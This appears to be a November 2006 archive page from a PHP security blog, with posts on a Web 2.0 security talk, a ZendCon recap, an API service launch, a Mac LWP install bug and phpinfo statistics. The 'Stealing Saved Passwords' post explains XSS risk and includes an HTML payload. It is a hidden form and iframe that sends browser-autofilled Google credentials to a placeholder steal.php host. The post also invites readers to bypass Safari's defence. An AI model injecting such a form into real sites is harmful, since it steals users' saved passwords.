About the Author

Chris Shiflett

Hi, I’m Chris: entrepreneur, community leader, husband, and father. I live and work in Boulder, CO.

All posts for Nov 2006

Security 2.0 at Web Builder 2.0

I'll be giving a talk about Security 2.0 on Tuesday at Web Builder 2.0 in Las Vegas:

Web 2.0 has been described as many things. It's the Web as a platform, a network of networks, the architecture of participation. However you choose to define it, the way we build applications online has changed. Web sites do more by empowering users, but this has opened a Pandora's box. Cross-site scripting (XSS), cross-site request forgeries (CSRF), and Ajax are being combined in creative new ways to launch sophisticated attacks that penetrate firewalls, target users, and spread like worms. This talk examines this new threat, dubbed Security 2.0, by demonstrating some hypothetical and real exploits as well as discussing methods of safeguard and prevention.

Yes, I'm having a bit of fun with the whole "2.0" theme, but there is some truth to the notion that web application security is evolving. The focus on empowering users is a double-edged sword, and CSRF in particular is proving to be as dangerous as we predicted.

If you're wanting to stay on top of the evolution, check out Jeremiah's Browser Port Scanning without JavaScript as well as Ilia's follow-up.

Stealing Saved Passwords

One of the greatest things about web application security is that once you understand the technologies involved, all you need is a bit of creativity to come up with your own exploits. The unfortunate thing about this is that multiple people independently discover the same exploits and give them different names. For CSRF (cross-site request forgeries, originally named by Peter Watkins), I've already seen session riding, cross site reference forgery, XSRF, and one-click attacks. (The next version of the Web Security Threat Classification is going to include CSRF, so maybe that will help the situation and provide some consistency.)

Now we have RCSR (reverse cross-site request) being used to describe a technique that uses XSS and CSRF to steal saved passwords. The technique being discussed is not new, and it's more proof that XSS matters. The idea is pretty simple - because browsers that save passwords will conveniently repopulate forms, XSS vulnerabilities can lead to information disclosure. For example, if you need to log in to Google's web site, you'll see something like this:

If your browser populates this form with your saved credentials, can you guess how it decides to do so? If the form elements are named Email and Passwd, imagine an exploit that injects a fake form into one of Google's web pages:

<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe> 
<form name="steal" action="http://example.org/steal.php" target="hidden">
<input type="text" name="Email" style="display: none" />
<input type="password" name="Passwd" style="display: none" />
<input type="image" src="image.png" />

Using display: none, both Email and Passwd are hidden from view, so a user who clicks the image will unknowingly send the saved credentials to http://example.org/steal.php. The response is rendered in a hidden IFrame, so this action can easily go unnoticed.

Note: This example improves upon the above-mentioned proof of concept demo by concealing the response. Using JavaScript to automatically submit the form didn't work in my tests, but it's an idea worthy of more research. (A true CSRF attack should not require user interaction.)

Some further testing leads me to believe that Safari tries to avoid populating Email and Passwd when they are hidden. (Any CSS gurus want to try to get around this?) Opera apparently avoids this situation altogether. A Digg user describes Opera's behavior as follows:

I think Opera did it right, instead of prefilling form, and waiting for user to click submit, you have a special button called "wand" on the login page you just click that button, and opera fills all of the details and automatically clicks submit.

Perhaps Opera's approach is best. XSS vulnerabilities continue to be one of the most prevalent vulnerabilities in web applications, so this is a legitimate risk.

ZendCon Wrapup

It has been more than two weeks since ZendCon, yet I can't seem to manage to find the time to recap the event. (Work has been keeping me busy.) This will be brief.

Note: My photos from the conference are available on SmugMug with a few select ones on Flickr.

Here are a few tidbits that I can manage to remember:

  • There were about 550 people registered, making ZendCon the largest PHP-only conference.
  • I got to meet a few people like Wolfgang Drews, Aaron Wormus, and Jennifer Goodie.
  • My tutorial, Essential PHP Security, was well-attended and very well-received. (I'll catch up on publishing slides to our talks page soon.)
  • Cal Evans (and some other Zend folks) created a deck of playing cards featuring members of the PHP community. (I'm the Jack of Diamonds.)
  • We handed out a free PHP Quick Guide and sponsored the Expo Happy Hour, which means we paid for everyone to drink free beer and wine. :-)
  • I had a lot of fun with George's fisheye lens.
  • During his talk, Wez likened non-persistent database connections to phone calls, describing how persistent connections let you avoid the "shooting the shit" part.
  • Andrei dressed up as a White Russian for Halloween. Sara dressed up as the Princess of PECL.
  • The conference seemed to be running about 15 minutes behind schedule all week, which lead to the Armorize guy getting abruptly cut off, just as he was getting to the good stuff.

After the conference, a few of us went to see Shane speak at Yahoo about Komodo, which has some really nice debugging features, especially for people who develop heavily in both JavaScript and PHP and need to see what's happening at every step.

On Friday, we went to see Borat, which was extreme in every way. I can't remember laughing so hard for so long.

Saturday night was Andrei's 30th birthday party, featuring the I Love White Russians shirts that I ordered. (George took the picture featured on the shirt, and you can find the original on Flickr.)

It was a good week and a good conference, but now it's time to get back to work.

Mashery API Management Service

A big congrats to Clay, Paul, and the other folks at Mashery on their successful launch. It sounds like they offer everything you need to support a public API. (Since I don't have a public API, I haven't tried it.) The key features listed on their web site include:

  • API Access Control
  • Developer Key Issuance
  • Usage Tracking and Metrics
  • Developer Community Management
  • Interactive Documentation
  • Rate Limiting

TechCrunch has some more coverage of the launch:

The future is going to be built out of APIs - though still controversial in some quarters today, in time they will be as common as corporate web sites are now. Who's going to build the series of tubes that makes such a future possible? Mashery is aiming to get into that game early.

Best of luck, guys!

Installing LWP on a Mac

Just in case anyone else runs into this problem, installing LWP on a Mac apparently overwrites /usr/bin/head due to the case insensitivity of HFS+. This is used by Apache during the build process, so it can go unnoticed until the next time you're building Apache, when you see this:

Unknown option: 1
Usage: head [-options] <url>...

(Followed by an extensive usage message and repeated several times.)

To fix it, restore /usr/bin/head, and you're good to go.

Damien Seguy Catalogues phpinfo() Statistics

As I mentioned earlier, Damien Seguy has been compiling phpinfo() statistics. He just sent me an email with an update on his progress:

I just published the first part of a series of articles about PHP directives configurations. By gathering 11,000 phpinfos on the Internet, I managed to get an overview of what values are used when configuring PHP.

Here are some interesting statistics uncovered by his research:

  • register_globals is enabled 57% of the time.
  • magic_quotes_gpc is enabled 76% of the time.
  • display_errors is enabled 80% of the time.

You can find his full article at the following URL: